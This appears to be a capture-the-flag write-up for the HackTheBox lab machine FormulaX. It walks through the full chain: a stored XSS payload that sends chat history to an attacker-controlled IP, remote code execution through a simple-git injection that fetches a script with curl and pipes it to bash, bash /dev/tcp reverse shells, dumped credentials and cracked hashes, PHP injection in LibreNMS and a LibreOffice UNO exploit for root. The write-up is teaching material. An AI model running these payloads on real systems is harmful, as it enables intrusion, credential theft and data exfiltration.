FormulaX

Recon

nmap_scan.log
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan

[~] The config file is expected to be at "/home/rustscan/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.6:22
Open 10.10.11.6:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -vvv -sV -sC -Pn" on ip 10.10.11.6
Depending on the complexity of the script, results may take some time to appear.
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
[~] Starting Nmap 7.93 ( https://nmap.org ) at 2024-05-20 10:44 UTC
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 10:44
Completed NSE at 10:44, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 10:44
Completed NSE at 10:44, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 10:44
Completed NSE at 10:44, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 10:44
Completed Parallel DNS resolution of 1 host. at 10:44, 0.00s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 10:44
Scanning 10.10.11.6 [2 ports]
Discovered open port 80/tcp on 10.10.11.6
Discovered open port 22/tcp on 10.10.11.6
Completed Connect Scan at 10:44, 0.16s elapsed (2 total ports)
Initiating Service scan at 10:44
Scanning 2 services on 10.10.11.6
Completed Service scan at 10:44, 6.43s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.11.6.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 10:44
Completed NSE at 10:44, 3.89s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 10:44
Completed NSE at 10:44, 0.80s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 10:44
Completed NSE at 10:44, 0.00s elapsed
Nmap scan report for 10.10.11.6
Host is up, received user-set (0.087s latency).
Scanned at 2024-05-20 10:44:13 UTC for 12s

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 5fb2cd54e447d10e9e8135923cd6a3cb (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBG8rGSIhEBCPw+TyWPlQnCQOhuDZwBuKTDmhMvwgTYIpqvWGe1d5Mtt2LA1hpEl/0cYRCmDfmsgs4xWffPDaK48=
|   256 b9f00ddc057bfafb91e6d0b459e6db88 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDxdSOINZhnpi+VKvc9X6X/yYgzl88VdajTFgliPg6Jl
80/tcp open  http    syn-ack nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-cors: GET POST
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 496A37014B10519386B2904D1B3086BE
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was /static/index.html
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 10:44
Completed NSE at 10:44, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 10:44
Completed NSE at 10:44, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 10:44
Completed NSE at 10:44, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.17 seconds

Note: Hosts updated after "Leak Internal User History" section

└─$ grep chat /etc/hosts
10.10.11.6      chatbot.htb     dev-git-auto-update.chatbot.htb

HTTP (80)

We are redirected to the login page

Writeup.png

Dashboard gives us few more options to use application.

Writeup-1.png

XSS

On contact page it is possible to do an XSS. The XSS should have been removed after first request, but it seems to be persistent.

Writeup-2.png

In chat html source we find:

<script src="/socket.io/socket.io.js"></script>
<script src="./chat.js"></script>

chat.js: http://10.10.11.6/restricted/chat.js

let value;
const res = axios.get(`/user/api/chat`);
const socket = io('/',{withCredentials: true});

//listening for the messages
socket.on('message', (my_message) => {
  //console.log("Received From Server: " + my_message)
  Show_messages_on_screen_of_Server(my_message)
})

The "bot" is using sockets to communicate to backend. In our short chat we see that service is not available to users, but maybe internal users? From Contact Us using XSS we could probably leak the history of internal user!

Writeup-3.png

Leak Internal User History

To make XSS work we need to load our script and socker.io . script tag doesn't work, so we have to use img tag or others. Used https://minify-js.com to minify the code into one liner.

<!-- Verbose -->
<script>
    const xss = document.createElement('script')
    xss.src = 'http://10.10.16.75:8890/xss.js'
    document.body.appendChild(xss)
</script>

<script>
    const sock = document.createElement('script')
    sock.src = '/socket.io/socket.io.js'
    document.body.appendChild(sock)
</script>

<!-- Injection -->
<img src=y onerror='const sock=document.createElement(`script`);sock.src=`/socket.io/socket.io.js`,document.body.appendChild(sock);'>
<img src=x onerror='const xss=document.createElement(`script`);xss.src=`http://10.10.16.75:8890/xss.js`,document.body.appendChild(xss);'/>
// xss.js
let value;
const res = axios.get(`/user/api/chat`);
const socket = io("/", { withCredentials: true });

socket.on("message", (msg) => {
  fetch("http://10.10.16.75:8888/?m=" + msg);
});

const typing_chat = () => {
  value = "history";
  if (value) {
    socket.emit("client_message", value);
  }
};

typing_chat();
Writeup-4.png
10.10.11.6 - - [17/Jun/2024 12:38:39] "OPTIONS /?m=Write a script for dev-git-auto-update.chatbot.htb to work properly HTTP/1.1" 501 -

Git Report Generator

Writeup-5.png

The simple-git v3.14 is vulnerable to CVE-2022-25912: RCE

Verify via curl:

Reverse Shell (www-data)

Piping to sh didn't start the shell, but bash did.

Repo url: ext::sh -c curl% 10.10.16.75/rev|bash Rev: /bin/bash -i >& /dev/tcp/10.10.16.75/4444 0>&1

Writeup-7.png
(remote) www-data@formulax:/var/www/app$ ls -lahr
total 716K
dr-xr-xr-x   2 root     root     4.0K Jul 28  2023 routes
dr-xr-xr-x   6 root     root     4.0K Jul 28  2023 public
-r-xr-xr-x   1 root     root      969 Jun  4  2023 package.json
-r-xr-xr-x   1 root     root     132K Jul 28  2023 package-lock.json
dr-xr-xr-x 198 root     root     4.0K Jul 28  2023 node_modules
dr-xr-xr-x   2 root     root     4.0K Jul 28  2023 models
dr-xr-xr-x   2 root     root     4.0K Jul 28  2023 middleware
-r-xr-xr-x   1 root     root       24 Jun  4  2023 index.js
dr-xr-xr-x   2 root     root     4.0K Jul 28  2023 controllers
dr-xr-xr-x   2 root     root     4.0K Jul 28  2023 configuration
-r-xr-xr-x   1 root     root     529K Jul 28  2023 chatbot.zip
-r-xr-xr-x   1 root     root     2.0K Jul 28  2023 app.js
-r-xr-xr-x   1 root     root      116 Jul 28  2023 .env
drwxr-xr-x  11 www-data www-data 4.0K Feb 20 16:14 ..
dr-xr-xr-x   9 root     root     4.0K Jul 28  2023 .
(remote) www-data@formulax:/var/www/app$ cat .env
PORT = 8082
URL_DATABASE="mongodb://localhost:27017"
SECRET=ThisIsTheN0deSecret
ADMIN_EMAIL="admin@chatbot.htb"
(remote) www-data@formulax:/var/www/app$ ss -tulnp4
Netid      State       Recv-Q      Send-Q           Local Address:Port            Peer Address:Port      Process
udp        UNCONN      0           0                127.0.0.53%lo:53                   0.0.0.0:*
udp        UNCONN      0           0                      0.0.0.0:68                   0.0.0.0:*
udp        UNCONN      0           0                      0.0.0.0:162                  0.0.0.0:*
tcp        LISTEN      0           4096             127.0.0.53%lo:53                   0.0.0.0:*
tcp        LISTEN      0           128                    0.0.0.0:22                   0.0.0.0:*
tcp        LISTEN      0           511                  127.0.0.1:3000                 0.0.0.0:*          users:(("nginx",pid=941,fd=6),("nginx",pid=940,fd=6))
tcp        LISTEN      0           511                  127.0.0.1:8000                 0.0.0.0:*
tcp        LISTEN      0           4096                 127.0.0.1:27017                0.0.0.0:*
tcp        LISTEN      0           80                   127.0.0.1:3306                 0.0.0.0:*
tcp        LISTEN      0           10                   127.0.0.1:42031                0.0.0.0:*          users:(("chrome",pid=1218,fd=45))
tcp        LISTEN      0           511                    0.0.0.0:80                   0.0.0.0:*          users:(("nginx",pid=941,fd=7),("nginx",pid=940,fd=7))
tcp        LISTEN      0           511                  127.0.0.1:8081                 0.0.0.0:*          users:(("node /var/www/g",pid=1158,fd=20))
tcp        LISTEN      0           4096                 127.0.0.1:2002                 0.0.0.0:*
tcp        LISTEN      0           511                  127.0.0.1:8082                 0.0.0.0:*          users:(("node /var/www/a",pid=1154,fd=19))

We have mongo database password which means we can explore it.

(remote) www-data@formulax:/var/www$ mongo --shell -p ThisIsTheN0deSecret
MongoDB shell version v4.4.29
connecting to: mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName=mongodb
Implicit session: session { "id" : UUID("6fe83776-f146-4773-a624-afe087e1bbcd") }
MongoDB server version: 4.4.8
...
> show dbs
admin    0.000GB
config   0.000GB
local    0.000GB
testing  0.000GB
> use testing
switched to db testing
> show collections
messages
users
> db.users.find()
{ "_id" : ObjectId("648874de313b8717284f457c"), "name" : "admin", "email" : "admin@chatbot.htb", "password" : "$2b$10$VSrvhM/5YGM0uyCeEYf/TuvJzzTz.jDLVJ2QqtumdDoKGSa.6aIC.", "terms" : true, "value" : true, "authorization_token" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySUQiOiI2NDg4NzRkZTMxM2I4NzE3Mjg0ZjQ1N2MiLCJpYXQiOjE3MTg2NDQyNjN9.Sw95qzNNusVXq5sNohjoQu6DVbYNbPdfsvg-Dm2vei8", "__v" : 0 }
{ "_id" : ObjectId("648874de313b8717284f457d"), "name" : "frank_dorky", "email" : "frank_dorky@chatbot.htb", "password" : "$2b$10$hrB/by.tb/4ABJbbt1l4/ep/L4CTY6391eSETamjLp7s.elpsB4J6", "terms" : true, "value" : true, "authorization_token" : " ", "__v" : 0 }
> db.messages.find()

SSH (22)

Privilege Escalation (frank_dorky)

Crack the hash of ssh user frank:

➜ .\hashcat.exe --show hashes
The following 4 hash-modes match the structure of your input hash:                                                                                                                                                                                    # | Name                                                       | Category
  ======+============================================================+======================================
   3200 | bcrypt $2*$, Blowfish (Unix)                               | Operating System
  25600 | bcrypt(md5($pass)) / bcryptmd5                             | Forums, CMS, E-Commerce
  25800 | bcrypt(sha1($pass)) / bcryptsha1                           | Forums, CMS, E-Commerce
  28400 | bcrypt(sha512($pass)) / bcryptsha512                       | Forums, CMS, E-Commerce        
➜ .\john-1.9.0-jumbo-1-win64\run\john.exe --wordlist=rockyou.txt --format=bcrypt .\hashes
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
No password hashes left to crack (see FAQ)
➜ .\john-1.9.0-jumbo-1-win64\run\john.exe --show .\hashes
?:manchesterunited
1 password hash cracked, 0 left
# Already had cracked before notes.

User.txt

frank_dorky@formulax:~$ cat user.txt
f143cc488c556d06cca64663a0f5a71f

Privilege Escalation (librenms)

Enumerate the system with linpeas:

frank_dorky@formulax:/tmp$ curl 10.10.16.75/linpeas.sh | bash | tee lp.log

In the processes we see an interesting one, frank is running libreoffice as kai_relay and with sudo permissions.

Writeup-8.png

In the nginx module we see it's ran on port 3000:

-rw-r--r-- 1 root root 565 Jun 19  2023 /etc/nginx/conf.d/librenms.conf
server {
 listen      127.0.0.1:3000;
 server_name librenms.com;
 root        /opt/librenms/html;
 index       index.php;
 charset utf-8;
 gzip on;
 gzip_types text/css application/javascript text/javascript application/x-javascript image/svg+xml text/plain text/xsd text/xsl text/xml image/x-icon;
 location / {
  try_files $uri $uri/ /index.php?$query_string;
 }
 location ~ [^/]\.php(/|$) {
  fastcgi_pass unix:/run/php-fpm-librenms.sock;
  fastcgi_split_path_info ^(.+\.php)(/.+)$;
  include fastcgi.conf;
 }
 location ~ /\.(?!well-known).* {
  deny all;
 }
}

Do a port forwarding via SSH:

└─$ ssh frank_dorky@chatbot.htb -L 3000:127.0.0.1:3000

LibreNMS

Writeup-9.png

The app lives on /opt/librenms, but we don't have permission to list files

frank_dorky@formulax:/opt$ ls -alh
total 12K
drwxr-xr-x  3 root     root     4.0K Feb 16 15:21 .
drwxr-xr-x 19 root     root     4.0K Feb 20 16:16 ..
drwxrwx--x 27 librenms librenms 4.0K Feb 19 13:33 librenms
frank_dorky@formulax:/opt$ cat librenms/.env.example
APP_KEY=

#DB_HOST=
#DB_DATABASE=
#DB_USERNAME=
#DB_PASSWORD=

#APP_URL=

Execute (x) permission on a directory allows a user to:

  • Enter the Directory: The user can change into the directory using the cd command.

  • Access Inodes: The user can access the metadata of the files within the directory, but not their content or names unless the file's specific permissions also grant read or execute rights.

Meaning:

  • No Listing (ls): The user cannot list the contents of the directory. Commands like ls will not work. Access by Name: The user can access files and subdirectories within the directory if they know the exact names and have the appropriate permissions on those files or subdirectories.

  • No Creation or Deletion: The user cannot create or delete files in the directory, as write permissions (w) are required for these operations.

Looks like there's adduser.php script which can be used to add users src

frank_dorky@formulax:/opt/librenms$ cat adduser.php
#!/usr/bin/env php
<?php

/*
 * LibreNMS
 *
 *   This file is part of LibreNMS.
 *
 * @package    LibreNMS
 * @subpackage cli
 * @copyright  (C) 2006 - 2012 Adam Armstrong
 *
 */

use LibreNMS\Authentication\LegacyAuth;

$init_modules = [];
if (php_sapi_name() != 'cli') {
    $init_modules[] = 'auth';
}
require __DIR__ . '/includes/init.php';

if (LegacyAuth::get()->canManageUsers()) {
    if (isset($argv[1]) && isset($argv[2]) && isset($argv[3])) {
        if (! LegacyAuth::get()->userExists($argv[1])) {
            if (LegacyAuth::get()->addUser($argv[1], $argv[2], $argv[3], @$argv[4])) {
                echo 'User ' . $argv[1] . " added successfully\n";
            }
        } else {
            echo 'User ' . $argv[1] . " already exists!\n";
        }
    } else {
        echo "Add User Tool\nUsage: ./adduser.php <username> <password> <level 1-10> [email]\n";
    }
} else {
    echo "Auth module does not allow adding users!\n";
}//end if

Add user:

frank_dorky@formulax:/opt/librenms$ ./adduser.php test02 test02 10
User test02 added successfully
Writeup-10.png

There was some DNS problem, so update localhost to match domain.

└─$ cat /etc/hosts
# 127.0.0.1     localhost
127.0.1.1       kraken
127.0.0.1 librenms.com

It looks like in alert templates we can use blade syntax to write php/html file.

Writeup-11.png

Inject PHP via Blade syntax: https://laravel.com/docs/11.x/blade#raw-php

Writeup-12.png
└─$ pwncat -lp 4444
[14:56:09] Welcome to pwncat 🐈!                                           __main__.py:164
[14:56:40] received connection from 10.10.11.6:45546                            bind.py:84
[14:56:48] 10.10.11.6:45546: registered new host w/ db                      manager.py:957
(local) pwncat$
(remote) librenms@formulax:/opt/librenms$ whoami
librenms
(remote) librenms@formulax:/opt/librenms$ ls *env*
ls: cannot access '*env*': No such file or directory
(remote) librenms@formulax:/opt/librenms$ ls .*env*
.custom.env  .env.example  .env.travis
(remote) librenms@formulax:/opt/librenms$ cat .custom.env
APP_KEY=base64:jRoDTOFGZEO08+68w7EzYPp8a7KZCNk+4Fhh97lnCEk=

DB_HOST=localhost
DB_DATABASE=librenms
DB_USERNAME=kai_relay
DB_PASSWORD=mychemicalformulaX

#APP_URL=
NODE_ID=648b260eb18d2
VAPID_PUBLIC_KEY=BDhe6thQfwA7elEUvyMPh9CEtrWZM1ySaMMIaB10DsIhGeQ8Iks8kL6uLtjMsHe61-ZCC6f6XgPVt7O6liSqpvg
VAPID_PRIVATE_KEY=chr9zlPVQT8NsYgDGeVFda-AiD0UWIY6OW-jStiwmTQ

Privilege Escalation (kai_relay)

su - kai_relay

Privilege Escalation (root)

Writeup-13.png
Writeup-14.png

After googling soffice exploits we end up on: https://www.exploit-db.com/exploits/46544

kai_relay@formulax:/tmp$ cat rev
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.16.75/4444 0>&1
kai_relay@formulax:/tmp$ chmod u+x rev
kai_relay@formulax:/tmp$ tail exp.py
print("[+] Connecting to target...")
context = resolver.resolve(
        "uno:socket,host={0},port={1};urp;StarOffice.ComponentContext".format(args.host,args.port))

# Issue the service manager to spawn the SystemShellExecute module and execute calc.exe
service_manager = context.ServiceManager
print("[+] Connected to {0}".format(args.host))
shell_execute = service_manager.createInstance("com.sun.star.system.SystemShellExecute")
shell_execute.execute('/tmp/rev', '',1)

kai_relay@formulax:/tmp$ python3 exp.py --host 0 --port 2002 # Connect to local instance
[+] Connecting to target...
[+] Connected to 0

Catch the shell and gain root.

Root.txt

root@formulax:~# cat root.txt
e2fadc7fb844028b0cd37d96de7be682

Last updated